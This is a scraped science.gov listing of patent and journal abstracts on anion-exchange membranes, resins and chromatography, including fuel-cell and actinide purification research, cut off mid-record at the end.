"remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986655554.2/warc/CC-MAIN-20191014223147-20191015010647-00282.warc.gz"}
https://www.science.gov/topicpages/d/drosophila+anion+exchanger.html	#### Sample records for drosophila anion exchanger 1. Anion exchange membrane DOEpatents 2013-05-07 An anion exchange membrane and fuel cell incorporating the anion exchange membrane are detailed in which proazaphosphatrane and azaphosphatrane cations are covalently bonded to a sulfonated fluoropolymer support along with anionic counterions. A positive charge is dispersed in the aforementioned cations which are buried in the support to reduce the cation-anion interactions and increase the mobility of hydroxide ions, for example, across the membrane. The anion exchange membrane has the ability to operate at high temperatures and in highly alkaline environments with high conductivity and low resistance. 2. Anion exchange polymer electrolytes DOEpatents Kim, Yu Seung; Kim, Dae Sik; Lee, Kwan-Soo 2013-07-23 Solid anion exchange polymer electrolytes and compositions comprising chemical compounds comprising a polymeric core, a spacer A, and a guanidine base, wherein said chemical compound is uniformly dispersed in a suitable solvent and has the structure: ##STR00001## wherein: i) A is a spacer having the structure O, S, SO.sub.2, --NH--, --N(CH.sub.2).sub.n, wherein n=1-10, --(CH.sub.2).sub.n--CH.sub.3--, wherein n=1-10, SO.sub.2-Ph, CO-Ph, ##STR00002## wherein R.sub.5, R.sub.6, R.sub.7 and R.sub.8 each are independently --H, --NH.sub.2, F, Cl, Br, CN, or a C.sub.1-C.sub.6 alkyl group, or any combination of thereof; ii) R.sub.9, R.sub.10, R.sub.11, R.sub.12, or R.sub.13 each independently are --H, --CH.sub.3, --NH.sub.2, --NO, --CH.sub.nCH.sub.3 where n=1-6, HC.dbd.O--, NH.sub.2C.dbd.O--, --CH.sub.nCOOH where n=1-6, --(CH.sub.2).sub.n--C(NH.sub.2)--COOH where n=1-6, --CH--(COOH)--CH.sub.2--COOH, --CH.sub.2--CH(O--CH.sub.2CH.sub.3).sub.2, --(C.dbd.S)--NH.sub.2, --(C.dbd.NH)--N--(CH.sub.2).sub.nCH.sub.3, where n=0-6, --NH--(C.dbd.S)--SH, --CH.sub.2--(C.dbd.O)--O--C(CH.sub.3).sub.3, --O--(CH.sub.2).sub.n--CH--(NH.sub.2)--COOH, where n=1-6, --(CH.sub.2).sub.n--CH.dbd.CH wherein n=1-6, --(CH.sub.2).sub.n--CH--CN wherein n=1-6, an aromatic group such as a phenyl, benzyl, phenoxy, methylbenzyl, nitrogen-substituted benzyl or phenyl groups, a halide, or halide-substituted methyl groups; and iii) wherein the composition is suitable for use in a membrane electrode assembly. 3. Pu Anion Exchange Process Intensification SciTech Connect Taylor-Pashow, K. 2015-10-08 This project seeks to improve the efficiency of the plutonium anion-exchange process for purifying Pu through the development of alternate ion-exchange media. The objective of the project in FY15 was to develop and test a porous foam monolith material that could serve as a replacement for the current anion-exchange resin, Reillex® HPQ, used at the Savannah River Site (SRS) for purifying Pu. The new material provides advantages in efficiency over the current resin by the elimination of diffusive mass transport through large granular resin beads. By replacing the large resin beads with a porous foam there is much more efficient contact between the Pu solution and the anion-exchange sites present on the material. Several samples of a polystyrene based foam grafted with poly(4-vinylpyridine) were prepared and the Pu sorption was tested in batch contact tests. 4. Ion exchange polymers for anion separations DOEpatents Jarvinen, Gordon D.; Marsh, S. Fredric; Bartsch, Richard A. 1997-01-01 Anion exchange resins including at least two positively charged sites and a ell-defined spacing between the positive sites are provided together with a process of removing anions or anionic metal complexes from aqueous solutions by use of such resins. The resins can be substituted poly(vinylpyridine) and substituted polystyrene. 5. Ion exchange polymers for anion separations DOEpatents Jarvinen, G.D.; Marsh, S.F.; Bartsch, R.A. 1997-09-23 Anion exchange resins including at least two positively charged sites and a well-defined spacing between the positive sites are provided together with a process of removing anions or anionic metal complexes from aqueous solutions by use of such resins. The resins can be substituted poly(vinylpyridine) and substituted polystyrene. 6. Anion-exchange nanospheres as titration reagents for anionic analytes. PubMed Zhai, Jingying; Xie, Xiaojiang; Bakker, Eric 2015-08-18 We present here anion-exchange nanospheres as novel titration reagents for anions. The nanospheres contain a lipophilic cation for which the counterion is initially Cl(-). Ion exchange takes place between Cl(-) in the nanospheres and a more lipophilic anion in the sample, such as ClO4(-) and NO3(-). Consecutive titration in the same sample solution for ClO4(-) and NO3(-) were demonstrated. As an application, the concentration of NO3(-) in spinach was successfully determined using this method. 7. Nanoheterostructure cation exchange: anionic framework conservation. PubMed Jain, Prashant K; Amirav, Lilac; Aloni, Shaul; Alivisatos, A Paul 2010-07-28 In ionic nanocrystals the cationic sublattice can be replaced with a different metal ion via a fast, simple, and reversible place exchange, allowing postsynthetic modification of the composition of the nanocrystal, while preserving its size and shape. Here, we demonstrate that, during such an exchange, the anionic framework of the crystal is preserved. When applied to nanoheterostructures, this phenomenon ensures that compositional interfaces within the heterostructure are conserved throughout the transformation. For instance, a morphology composed of a CdSe nanocrystal embedded in a CdS rod (CdSe/CdS) was exchanged to a PbSe/PbS nanorod via a Cu(2)Se/Cu(2)S structure. During every exchange cycle, the seed size and position within the nanorod were preserved, as evident by excitonic features, Z-contrast imaging, and elemental line scans. Anionic framework conservation extends the domain of cation exchange to the design of more complex and unique nanostructures. 8. Nanoheterostructure Cation Exchange: Anionic Framework Conservation SciTech Connect Jain, Prashant K.; Amirav, Lilac; Aloni, Shaul; Alivisatos, A. Paul 2010-05-11 In ionic nanocrystals the cationic sub-lattice can be replaced with a different metal ion via a fast, simple, and reversible place-exchange, allowing post-synthetic modification of the composition of the nanocrystal, while preserving its size and shape. Here, we demonstrate for the first time that during such an exchange, the anionic framework of the crystal is preserved. When applied to nanoheterostructures, this phenomenon ensures that compositional interfaces within the heterostructure are conserved throughout the transformation. For instance, a morphology composed of a CdSe nanocrystal embedded in a CdS rod (CdSe/CdS) was exchanged to a PbSe/PbS nanorod via a Cu2Se/Cu2S structure. During every exchange cycle, the seed size and position within the nanorod were preserved, as evident by excitonic features, Z-contrast imaging, and elemental line-scans. Anionic framework conservation extends the domain of cation exchange to the design of more complex and unique nanostructures. 9. Advancements in Anion Exchange Membrane Cations SciTech Connect Sturgeon, Matthew R.; Long, Hai; Park, Andrew M.; Pivovar, Bryan S. 2015-10-15 Anion-exchange membrane fuel cells (AME-FCs) are of increasingly popular interest as they enable the use of non-Pt fuel cell catalysts, the primary cost limitation of proton exchange membrane fuel cells. Benzyltrimethyl ammonium (BTMA) is the standard cation that has historically been utilized as the hydroxide conductor in AEMs. Herein we approach AEMs from two directions. First and foremost we study the stability of several different cations in a hydroxide solution at elevated temperatures. We specifically targeted BTMA and methoxy and nitro substituted BTMA. We've also studied the effects of adding an akyl spacer units between the ammonium cation and the phenyl group. In the second approach we use computational studies to predict stable ammonium cations, which are then synthesized and tested for stability. Our unique method to study cation stability in caustic conditions at elevated temperatures utilizes Teflon Parr reactors suitable for use under various temperatures and cation concentrations. NMR analysis was used to determine remaining cation concentrations at specific time points with GCMS analysis verifying product distribution. We then compare the experimental results with calculated modeling stabilities. Our studies show that the electron donating methoxy groups slightly increase stability (compared to that of BTMA), while the electron withdrawing nitro groups greatly decrease stability in base. These results give insight into possible linking strategies to be employed when tethering a BTMA like ammonium cation to a polymeric backbone; thus synthesizing an anion exchange membrane. 10. Complex anion inclusion compounds: flexible anion-exchange materials. PubMed Williams, Edward R; Leithall, Rebecca M; Raja, Robert; Weller, Mark T 2013-01-11 Copper chloropyrophosphate frameworks have been synthesised with a wide variety of complex inorganic anions trapped in a large, flexible, one-dimensional pore, with anions including chloride, bromide, phosphate and the complex metal halo-anions PtCl(4)(2-), PdBr(4)(2-), CuCl(4)(2-) and AuCl(4)(-). 11. 8. VIEW OF GLOVE BOXES USED IN THE ANION EXCHANGE ... Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey 8. VIEW OF GLOVE BOXES USED IN THE ANION EXCHANGE PROCESS. THE ANION EXCHANGE PROCESS PURIFIED AND CONCENTRATED PLUTONIUM-BEARING NITRIC ACID SOLUTIONS TO MAKE THEM ACCEPTABLE AS FEED FOR CONVERSION TO METAL. (6/20/60) - Rocky Flats Plant, Plutonium Recovery & Fabrication Facility, North-central section of plant, Golden, Jefferson County, CO 12. Purification Or Organic Acids Using Anion Exchange Chromatography. DOEpatents Ponnampalam; Elankovan 2001-09-04 Disclosed is a cost-effective method for purifying and acidifying carboxylic acids, including organic acids and amino acids. The method involves removing impurities by allowing the anionic form of the carboxylic acid to bind to an anion exchange column and washing the column. The carboxylic anion is displaced as carboxylic acid by washing the resin with a strong inorganic anion. This method is effective in removing organic carboxylic acids and amino acids from a variety of industrial sources, including fermentation broths, hydrolysates, and waste streams. 13. Contamination of an anion-exchange membrane by glutathione. PubMed Gotoh, T; Kikuchi, K 2000-01-01 Electrodialysis, which can separate electrolytes under mild conditions by using ion-exchange membranes, is a strong candidate for separation of GSH from yeast extracts, because GSH is unstable and easily oxidized forming a disulfide bond especially under alkali conditions. In this paper, sorption behavior of GSH on an anion-exchange membrane, in the pH 3-6 region that is expected to be the most preferable for its electro-dialytic separation, was examined. Sorption of GSH on a Selemion-AMV anion-exchange membrane was accelerated as the pH of the membrane-contact solution increased, and there was a good correlation between the sorbed amounts and the molar fraction of monovalent anionic species of GSH. However, the amounts of GSH desorbed from the membrane by a NaCl desorbing solution were much lower than the initial sorbed amounts, and the difference between them was enlarged with increasing pH. The GSH which was lost could be recovered by the addition of DTT in the membrane-contact and desorbing solutions. Similar results were also obtained with Cys. We thus concluded that an anion-exchange membrane would be contaminated by thiol compounds, such as GSH and Cys, through oxidative binding of the thiol group with the membrane, the local OH- concentration in which was enhanced due to attraction by the positively charged anion-exchange membrane. 14. New stationary phase for anion-exchange chromatography. PubMed Auler, Lúcia M L A; Silva, César R; Collins, Kenneth E; Collins, Carol H 2005-05-06 This work describes the preparation of an anion-exchange phase based on silica, using a two-step modification process. First, 10 microm Davisil silica particles were silanized with chloropropyltrimethoxysilane to yield chloropropyl silica. The modified silica was then reacted with pyridine to produce positively charged propylpyridinium groups on the surface, the anion-exchange sites. The phase was characterized by thermogravimetric analysis and infrared and solid state 13C and 29Si NMR spectroscopies. HPLC separations of common inorganic anions, including chloride, nitrite, bromide and nitrate, were performed using 150 x 3.9 HPLC columns packed with the phase, using a phthalate buffer solution as mobile phase with non-suppressed conductivity detection. Efficiency and resolution were calculated and the results show that the new phase has significant promise for the analysis of these anions in environmental samples. 15. Predicting Carbonate Species Ionic Conductivity in Alkaline Anion Exchange Membranes DTIC Science & Technology 2012-06-01 anion exchange membranes. Andrew M. Kiss, Timothy D . Myles, Kyle N. Grew, Aldo A. Peracchio, George J. Nelson, and Wilson K. S. Chiu University of...Alkaline Anion Exchange Membranes Andrew M. Kiss1, Timothy D . Myles1, Kyle N. Grew2, Aldo A. Peracchio1, George J. Nelson1, and Wilson K. S. Chiu1* 1...Vol. 301, 93-106, 2007. 16. Satterfleld,M.B., Benziger,J.B., J. Phys. Chem. B, Vol. 112,12, 3693 -3704, 2008. 17. Motupally,S., Becker,A.J 16. Understanding and modeling removal of anionic organic contaminants (AOCs) by anion exchange resins. PubMed Zhang, Huichun; Shields, Anthony J; Jadbabaei, Nastaran; Nelson, Maurice; Pan, Bingjun; Suri, Rominder P S 2014-07-01 Ionic organic contaminants (OCs) are a growing concern for water treatment and the environment and are removed inefficiently by many existing technologies. This study examined removal of anionic OCs by anion exchange resins (AXRs) as a promising alternative. Results indicate that two polystyrene AXRs (IRA910 and IRA96) have higher sorption capacities and selectivity than a polyacrylate resin (A860). For the polystyrene resins, selectivity follows: phenolates ≥ aromatic dicarboxylates > aromatic monocarboxylates > benzenesulfonate > aliphatic carboxylates. This trend can be explained based on hydration energy, the number of exchange groups, and aromaticity and hydrophobicity of the nonpolar moiety (NPM) of the anions. For A860, selectivity only varies within a narrow range (0.13-1.64). Despite the importance of the NPM of the anions, neutral solutes were sorbed much less, indicating synergistic combinations of electrostatic and nonelectrostatic interactions in the overall sorption. By conducting multiple linear regression between Abraham's descriptors and nature log of selectivity, induced dipole-related interactions and electrostatic interactions were found to be the most important interaction forces for sorption of the anions, while solute H-bond basicity has a negative effect. A predictive model was then developed for carboxylates and phenolates based on the poly parameter linear free energy relationships established for a diverse range of 16 anions and 5 neutral solutes, and was validated by accurate prediction of sorption of five test solutes within a wide range of equilibrium concentrations and that of benzoate at different pH. 17. Neptunium Valence Chemistry in Anion Exchange Processing SciTech Connect KYSER, EDWARD 2003-02-01 The current anion resin in use in HB-Line Phase II, Reillex{trademark} HPQ, was tested in the laboratory under expected plant conditions for Np processing and was found to load between 50 and 70 g Np per liter of resin. Losses varied from 0.2 to 15 percent depending on a number of parameters. Hydrazine in the feed at 0.02 to 0.05 M appeared to keep the Np from oxidizing and increasing the losses within four to seven days after the FS addition. Losses of up to three percent were observed five days after FS addition when hydrazine was not used in the feed, compared with 0.3 percent when the feed was loaded immediately after FS addition. Based on these test results the following processing conditions are recommended: (1) Feed conditions: 8 M HNO{sub 3}, 0.02 M hydrazine, 0.05 M excess FS, less than 5 days storage of solution after FS addition. (2) Wash conditions: 100 liters of 8 M HNO{sub 3}, no FS, no hydrazine. (3) Elution conditions: 0.17 M HNO{sub 3}, 0.05 M hydrazine, no FS. (4) Precipitation feed conditions: 0.03 M excess ascorbic acid, no additional hydrazine, no FS, precipitation within three days. 18. Kinetics and mechanism of exogenous anion exchange in FeFbpA-NTA: significance of periplasmic anion lability and anion binding activity of ferric binding protein A. PubMed Heymann, Jared J; Gabricević, Mario; Mietzner, Timothy A; Crumbliss, Alvin L 2010-02-01 The bacterial transferrin ferric binding protein A (FbpA) requires an exogenous anion to facilitate iron sequestration, and subsequently to shuttle the metal across the periplasm to the cytoplasmic membrane. In the diverse conditions of the periplasm, numerous anions are known to be present. Prior in vitro experiments have demonstrated the ability of multiple anions to fulfill the synergistic iron-binding requirement, and the identity of the bound anion has been shown to modulate important physicochemical properties of iron-bound FbpA (FeFbpA). Here we address the kinetics and mechanism of anion exchange for the FeFbpA-nitrilotriacetate (NTA) assembly with several biologically relevant anions (citrate, oxalate, phosphate, and pyrophosphate), with nonphysiologic NTA serving as a representative synergistic anion/chelator. The kinetic data are consistent with an anion-exchange process that occurs in multiple steps, dependent on the identity of both the entering anion and the leaving anion. The exchange mechanism may proceed either as a direct substitution or through an intermediate FeFbpA-X* assembly based on anion (X) identity. Our kinetic results further develop an understanding of exogenous anion lability in the periplasm, as well as address the final step of the iron-free FbpA (apo-FbpA)/Fe(3+) sequestration mechanism. Our results highlight the kinetic significance of the FbpA anion binding site, demonstrating a correlation between apo-FbpA/anion affinity and the FeFbpA rate of anion exchange, further supporting the requirement of an exogenous anion to complete tight sequestration of iron by FbpA, and developing a mechanism for anion exchange within FeFbpA that is dependent on the identity of both the entering anion and the leaving anion. 19. Anion exchangers with negatively charged functionalities in hyperbranched ion-exchange layers for ion chromatography. PubMed Uzhel, Anna S; Zatirakha, Alexandra V; Smirnov, Konstantin N; Smolenkov, Alexandr D; Shpigun, Oleg A 2017-01-27 Novel pellicular poly(styrene-divinylbenzene)-based (PS-DVB) anion exchangers with covalently-bonded hyperbranched functional ion-exchange layers containing negatively charged functionalities are obtained and examined. The hyperbranched coating is created on the surface of aminated PS-DVB substrate by repeating the modification cycles including alkylation with 1,4-butanediol diglycidyl ether (1,4-BDDGE), and amination of the terminal epoxide rings with methylamine (MA) or glycine (Gly). The influence of the position and the number of the layers with glycine, as well as of the total number of the layers of amine in the coating on the chromatographic properties of the obtained stationary phases is investigated. Chromatographic performance of the obtained stationary phases is evaluated using the model mixtures of inorganic and organic anions with hydroxide eluent. It is shown that the best selectivity toward weakly retained organic acids and oxyhalides is possessed by the anion exchanger obtained after 5 modification cycles, with glycine being used in the first one. Such anion exchanger packed in 25-cm long column is capable of separating 22 anions in 58min including 7 standard anions, mono-, di- and trivalent organic acids, oxyhalides, and some other double- and triple-charged anions. 20. Hydrothermal carbonaceous sphere based stationary phase for anion exchange chromatography. PubMed Zhao, Qiming; Wu, Shuchao; Zhang, Peimin; Zhu, Yan 2017-01-15 Monodisperse carbonaceous spheres produced by the hydrothermal carbonization of sucrose were first applied as green stationary phase for ion chromatography after quaternization. Depending on the polycondensation of methylamine and 1,4-butanediol diglycidyl ether, polymer containing quaternary ammonium groups were facilely grafted onto the surfaces of hydrothermal carbonaceous spheres (HCSs). The quaternized HCSs with different number of polyelectrolyte layers were characterized by scanning electron microscopy, brunauer-emmett-teller, fourier transform infrared spectroscopy, X-ray photoelectron spectroscopy, thermogravimetric analysis and elemental analysis. The measurements of breakthrough curves demonstrated that more layers of grafted polyelectrolyte resulted in higher anion exchange capacity of stationary phase. With good stability, common inorganic anions, monocarboxylic acids, polarizable anions and carbohydrates were effectively separated on the stationary phases, respectively. The high hydrophilicity of HCS surface afforded excellent peak symmetry for all analytes. Furthermore, high-capacity HCSs stationary phase was successfully applied to detect fluoride in tea samples. 1. Mass transfer of single- and double-charged anions through an MA-41L anion-exchange membrane SciTech Connect Kulikova, O.M.; Sharkova, O.V.; Kulikov, S.M. 1995-02-20 Selective anion transfer through an MA-41L anion-exchange membrane in the Cl{sup -}-F{sup -}, Cl{sup -}-SO{sub 4}{sup 2-}, F{sup -}-SO{sub 4}{sup 2-}, and F{sup -}-CO{sub 3}{sup 2-} systems has been studied. The feasibility of partial anion separation in the chloride-sulfate system has been demonstrated. The separation of fluoride ions from accompanying anions was found to be practically impossible. 2. Determination of sulphide by anion-exchange with lead iodate. PubMed Verma, K K; Gupta, D; Sanghi, S K; Jain, A 1988-11-01 A quick anion-exchange reaction, suitable for the determination of sulphide, has been found to occur on stirring a suspension of lead iodate (solubility product, K(s0) = 1.2 x 10(-13)) with sulphide solution at pH 5-8. After removal of the precipitates of lead iodate and lead sulphide (K(s0) = 3.4 x 10(-28)), the iodate released can be determined by its reaction with acidified iodide to give tri-iodide which is either titrated with thiosulphate or measured spectrophotometrically as its blue complex with starch. Chloride, bromide, iodide, fluoride, oxalate, sulphate, thiocyanate and phosphate do not interfere. Thiosulphate, sulphite, nitrite and thiols do not give an anion-exchange reaction but do interfere in the redox reaction of iodate with acidified iodide. However, this is avoided if they are first oxidized with bromine (the liberated iodate remains unaffected before iodometry. 3. Highly Water Resistant Anion Exchange Membrane for Fuel Cells. PubMed Yang, Zhengjin; Hou, Jianqiu; Wang, Xinyu; Wu, Liang; Xu, Tongwen 2015-07-01 For anion exchange membranes (AEMs), achieving efficient hydroxide conductivity without excessive hydrophilicity presents a challenge. Hence, new strategies for constructing mechanically strengthened and hydroxide conductive (especially at controlled humidity) membranes are critical for developing better AEMs. Macromolecular modification involving ylide chemistry (Wittig reaction) for the fabrication of novel AEMs with an interpenetrating polymer network structure is reported. The macromolecular modification is cost effective, facile, and based on a one-pot synthesis. AEM water uptake is reduced to 3.6 wt% and a high hydroxide conductivity (69.7 mS cm(-1) , 90 °C) is achieved simultaneously. More importantly, the membrane exhibits similar tensile strength (>35 MPa) and comparable flexibility in both dry and wet states. These AEMs could find further applications within anion exchange membrane fuel cells with low humidity or photoelectric assemblies. 4. A method for production of new anion exchangers Behrendt, G.; Hunger, H. D. 1991-12-01 The invention relates to a method for the production of new anion exchangers that can be used in molecular biology, genetic engineering, biotechnology, and phytopathology. According to the invention, halogen-containing polyurethanes are reacted with one or more tertiary amines. By the method, polyurethane shapes with positive surface charges are produced from preformed shapes, with preservation of the form and properties thereof. The products have thermally stable bonds with biomolecules together with high binding capacity. 5. Mechanical Characterization of Anion Exchange Membranes Under Controlled Environmental Conditions DTIC Science & Technology 2015-05-11 membranes (AEM) have the potential to dramatically lower the cost of fuel cells by utilizing non-noble catalysts and a variety of fuel sources. Although...the cost of fuel cells by utilizing non-noble catalysts and a variety of fuel sources. Although chemical degradation typically dominates membrane...anion exchange membranes (AEM) have the potential to dramatically lower the cost of fuel cells by utilizing non-noble catalysts and a variety of 6. Bifunctional anion-exchange resins with improved selectivity and exchange kinetics DOEpatents Alexandratos, Spiro D.; Brown, Gilbert M.; Bonnesen, Peter V.; Moyer, Bruce A. 2000-01-01 Disclosed herein are a class of anion exchange resins containing two different exchange sites with improved selectivity and sorptive capability for chemical species in solution, such as heptavalent technetium (as pertechnetate anion, TcO.sub.4.sup.-). The resins are prepared by first reacting haloalkylated crosslinked copolymer beads with a large tertiary amine in a solvent in which the resin beads can swell, followed by reaction with a second, smaller, tertiary amine to more fully complete the functionalization of the resin. The resins have enhanced selectivity, capacity, and exchange kinetics. 7. Bifunctional anion-exchange resins with improved selectivity and exchange kinetics SciTech Connect Alexandratos, S.D.; Brown, G.M.; Bonnesen, P.V.; Moyer, B.A. 2000-05-09 Disclosed herein are a class of anion exchange resins containing two different exchange sites with improved selectivity and sorptive capability for chemical species in solution, such as heptavalent technetium as pertechnetate anion, TcO{sub 4}{sup {minus}}. The resins are prepared by first reacting haloalkylated crosslinked copolymer beads with a large tertiary amine in a solvent in which the resin beads can swell, followed by reaction with a second, smaller, tertiary amine to more fully complete the functionalization of the resin. The resins have enhanced selectivity, capacity, and exchange kinetics. 8. Anion exchanger and chloride channel in cat carotid body chemotransduction. PubMed Iturriaga, R; Mokashi, A; Lahiri, S 1998-05-28 In order to test the hypothesis that carotid body (CB) chemoreception depends on the functions of anion channels and HCO3-/Cl- exchangers, we studied the effects of the anion channel blocker anthracene-9-carboxylic acid (9-ANC), the carbonic anhydrase inhibitor methazolamide, and the HCO3-/Cl- exchanger blocker 4,4 diisothiocyanatostilbene-2-2'disulfonic acid (DIDS) on the chemosensory discharges of cat CB, perfused-superfused in vitro at 36.5 +/- 0.5 degrees C, with a modified Tyrode solution. The chemosensory responses to hypoxia (PO2 approximately 50 Torr), hypercapnia (PCO2 approximately 60 Torr, pH = 7.10), nicotine (2-4 nmol) and NaCN (20-40 nmol) were recorded. 9-ANC (2 microM) and DIDS (10 microM) decreased the chemosensory baseline activity, and eliminated the initial peak responses to hypercapnia and hypoxia and increased the time to achieve it. Methazolamide (0.13 mM) did not alter the effect of 9-ANC. The steady state responses to hypoxia and hypercapnia were not diminished after 9-ANC but DIDS lowered the responses. Responses to NaCN effects were all diminished but those to nicotine were not affected. The results suggest that the functions of anion channels and HCO3-/Cl- exchangers are important for the resting dischargers and for the fast responses to hypoxia and hypercapnia. 9. ANION EXCHANGE METHOD FOR SEPARATION OF METAL VALUES DOEpatents Hyde, E.K.; Raby, B.A. 1959-02-10 10. Collection of ambient air phenols using an anion exchange membrane SciTech Connect Nishioka, M.; Burkholder, H.; Reynolds, S.; Burdick, N.; Pleil, J. 1994-12-31 The authors have previously demonstrated the feasibility of collecting vapor phase ambient air phenols by reversible chemical reaction with a solid sorbent. The authors report here enhanced detection limits for ambient phenols using an anion exchange membrane that allows high collection efficiency at 10 L/min sampling rate. The membrane consists of 5 {micro}m particles of the anion exchange resin enmeshed in a Teflon microfibril matrix. This membrane is similar to Empore membranes, with the addition of the anion exchange capacity. Sampling is accomplished using a 10.5 cm (diameter) membrane and a General Metal Works PS-1 sampler. A Teflon-coated glass fiber filter, spiked with deutered phenols, and placed ahead of the membrane, is used to deliver these surrogate recovery standards to the membrane during the sampling. Following sampling, membranes are shaken gently in an acidified mixture of methanol and dichloromethane. The extract is derivatized with BSTFA and analyzed using either GC/FID or EI GC/MS. Analytical methodology allows detection at the 0.02 ppbv level for 12 hrs of sampling ({approximately} 0.1 {micro}g/m{sup 3}). 11. Anion exchangers with branched functional ion exchange layers of different hydrophilicity for ion chromatography. PubMed Shchukina, O I; Zatirakha, A V; Smolenkov, A D; Nesterenko, P N; Shpigun, O A 2015-08-21 Novel polystyrene-divinylbenzene (PS-DVB) based anion exchangers differing from each other in the structure of the branched functional ion exchange layer are prepared to investigate the role of linker and functional site on ion exchange selectivity. The proposed method of synthesis includes the obtaining of aminated PS-DVB particles by means of their acylation with following reductive amination with methylamine. Further modification of the obtained secondary aminogroups is provided by the alkylation with either 1,4-butanediol diglycidyl ether (1,4-BDDGE) or resorcinol diglycidyl ether (RDGE), which form the linkers of different hydrophobicity, and amination of terminal epoxide rings with trimethylamine (TMA), dimethylethanolamine (DMEA), methyldiethanolamine (MDEA) or triethanolamine (TEA). The variation of the structure and hydrophobicity of the linker and terminal quaternary ammonium sites in the functional layer allows the alteration of selectivity and separation efficiency of the obtained adsorbents. The ion exchange selectivity and separation efficiency of the anion exchangers are evaluated using the model mixtures of anions (F(-), HCOO(-), Cl(-), NO2(-), Br(-), NO3(-), HPO4(2-) and SO4(2-)) in potassium hydroxide eluents. The adsorbents show the decrease of selectivity with increasing the hydrophilicity of the terminal functional site. The anion exchangers having more flexible and hydrophilic 1,4-BDDGE linker provide smaller separation factors for most of the analytes as compared with RDGE-containing adsorbents with the same terminal ion exchange sites, but are characterized with higher column efficiencies and better peak symmetry for polarizable anions. In case of 1,4-BDDGE-modified anion exchangers of the particle size of 3.3μm functionalized with DMEA and MDEA the calculated values of column efficiencies for polarizable NO3(-) and Br(-) are up to 49,000 and 53,000N/m, respectively, which is almost twice higher than the values obtained for the RDGE 12. Anion Exchange Membranes: Current Status and Moving Forward SciTech Connect Hickner, MA; Herring, AM; Coughlin, EB 2013-10-29 This short review is meant to provide the reader with highlights in anion exchange membrane research, describe current needs in the field, and point out promising directions for future work. Anion exchange membranes (AEMs) provide one possible route to low platinum or platinum-free fuel cells with the potential for facile oxidation of complex fuels beyond hydrogen and methanol. AEMs and related stable cationic polymers also have applications in energy storage and other electrochemical technologies such as water electrolyzers and redox flow batteries. While anion exchange membranes have been known for a long time in water treatment applications, materials for electrochemical technology with robust mechanical properties in thin film format have only recently become more widely available. High hydroxide and bicarbonate anion conductivity have been demonstrated in a range of AEM formats, but intrinsic stability of the polymers and demonstration of long device lifetime remain major roadblocks. Novel approaches to stable materials have focused on new types of cations that employ delocalization and steric shielding of the positive center to mitigate nucleophilic attack by hydroxide. A number of promising polymer backbones and membrane architectures have been identified, but limited device testing and a lack of understanding of the degradation mechanisms in operating devices is slowing progress on engineered systems with alkaline fuel cell technology. Our objective is to spur more research in this area to develop fuel cell systems that approach the costs of inexpensive batteries for large-scale applications. (c) 2013 Wiley Periodicals, Inc. J. Polym. Sci., Part B: Polym. Phys. 2013, 51, 1727-1735, 2013 13. Bicarbonate-form anion exchange: affinity, regeneration, and stoichiometry. PubMed Rokicki, Christopher A; Boyer, Treavor H 2011-01-01 Magnetic ion exchange (MIEX) is an effective process for removing dissolved organic carbon (DOC) from natural waters, but its implementation has been limited due to production of waste sodium chloride solution (i.e., brine) from the regeneration process. Chloride is of concern because elevated concentrations can have adverse effects on engineered and natural systems. The goal of this research was to explore the efficacy of using anion exchange resin with bicarbonate as the mobile counter ion, which would produce a non-chloride regeneration solution. It was found that bicarbonate-form MIEX resin had a similar affinity as chloride-form MIEX resin for sulfate, nitrate, DOC, and ultraviolet-absorbing substances. Both bicarbonate-form and chloride-form MIEX resins showed the greatest removal efficiencies as fresh resin, and removal efficiency decreased with multiple regeneration cycles. Nevertheless, sodium bicarbonate solution was as effective as sodium chloride solution at regenerating MIEX resin. Regeneration of the bicarbonate-form MIEX resin was illustrated by sparging carbon dioxide gas in a water/resin slurry. This regeneration process would eliminate the need for the addition of salts such as sodium chloride or sodium bicarbonate. The stoichiometry of the bicarbonate-form resin revealed that the bicarbonate was deprotonating within the resin matrix leading to a mixture of both carbonate and bicarbonate mobile counter ions. This work makes an important contribution to ion exchange applications for water treatment by evaluating the affinity, regeneration, and stoichiometry of bicarbonate-form anion exchange. 14. Determining gold in water by anion-exchange batch extraction USGS Publications Warehouse McHugh, J.B. 1986-01-01 This paper describes a batch procedure for determining gold in natural waters. It is completely adaptable to field operations. The water samples are filtered and acidified before they are equilibrated with an anion-exchange resin by shaking. The gold is then eluted with acetone-nitric acid solution, and the eluate evaporated to dryness. The residue is taken up in hydrobromic acid-bromine solution and the gold is extracted with methyl isobutyl ketone. The extract is electrothermally atomized in an atomic-absorption spectrophotometer. The limit of determination is 1 ng 1. ?? 1986. 15. Regeneration of anion exchange resins by catalyzed electrochemical reduction DOEpatents Gu, Baohua; Brown, Gilbert M. 2002-01-01 Anion exchange resins sorbed with perchlorate may be regenerated by a combination of chemical reduction of perchlorate to chloride using a reducing agent and an electrochemical reduction of the oxidized reducing agent. Transitional metals including Ti, Re, and V are preferred chemical reagents for the reduction of perchlorate to chloride. Complexing agents such as oxalate are used to prevent the precipitation of the oxidized Ti(IV) species, and ethyl alcohol may be added to accelerate the reduction kinetics of perchlorate. The regeneration may be performed by continuously recycling the regenerating solution through the resin bed and an electrochemical cell so that the secondary waste generation is minimized. 16. Simultaneous separation of inorganic anions and cations by using anion-exchange and cation-exchange columns connected in tandem in ion chromatography. PubMed Karim, Khairil Juhanni Binti Abd; Jin, Ji-Ye; Takeuchi, Toyohide 2003-05-02 Inorganic anions and cations in environmental waters were determined by ion chromatography. Stationary and mobile phases were examined for the simultaneous separation of both anions and cations. Cations detection by UV detection requires a mobile phase with a UV absorbing additive, which indirectly visualizes cations as negative peaks. Simultaneous separation of anions and cations were achieved when using an eluent that consists of inorganic acid with weak basic amino acid as additives. It was convenient to separate both anions and cations by coupling anion-exchange and cation-exchange columns in tandem. The order of the separation columns connected affected the elution profiles. When the eluent comprises of multiple anions and a single cation, the anion-exchange column should be connected in the upper stream, whereas when the eluent comprises multiple cations and a single anion, the cation-exchange column should be connected in the upper stream. Use of switching valves also allowed simultaneous separation of anions and cations in a single chromatographic run. In the present work, operating conditions were optimized for the simultaneous separation of anions and cations. 17. Synthesis of temperature-responsive anion exchanger via click reaction. PubMed Murakami, Kenji; Yu, Xue; Kato, Takahiro; Inoue, Yukihiko; Sugawara, Katsuyasu 2012-06-15 The temperature-responsive anion exchanger was synthesized by immobilizing the poly(N-isopropylacrylamide) (PNIPAM), a kind of the temperature-responsive polymer, on the external surface of mesoporous silica via click reaction. The structure of this synthesized composite was characterized by 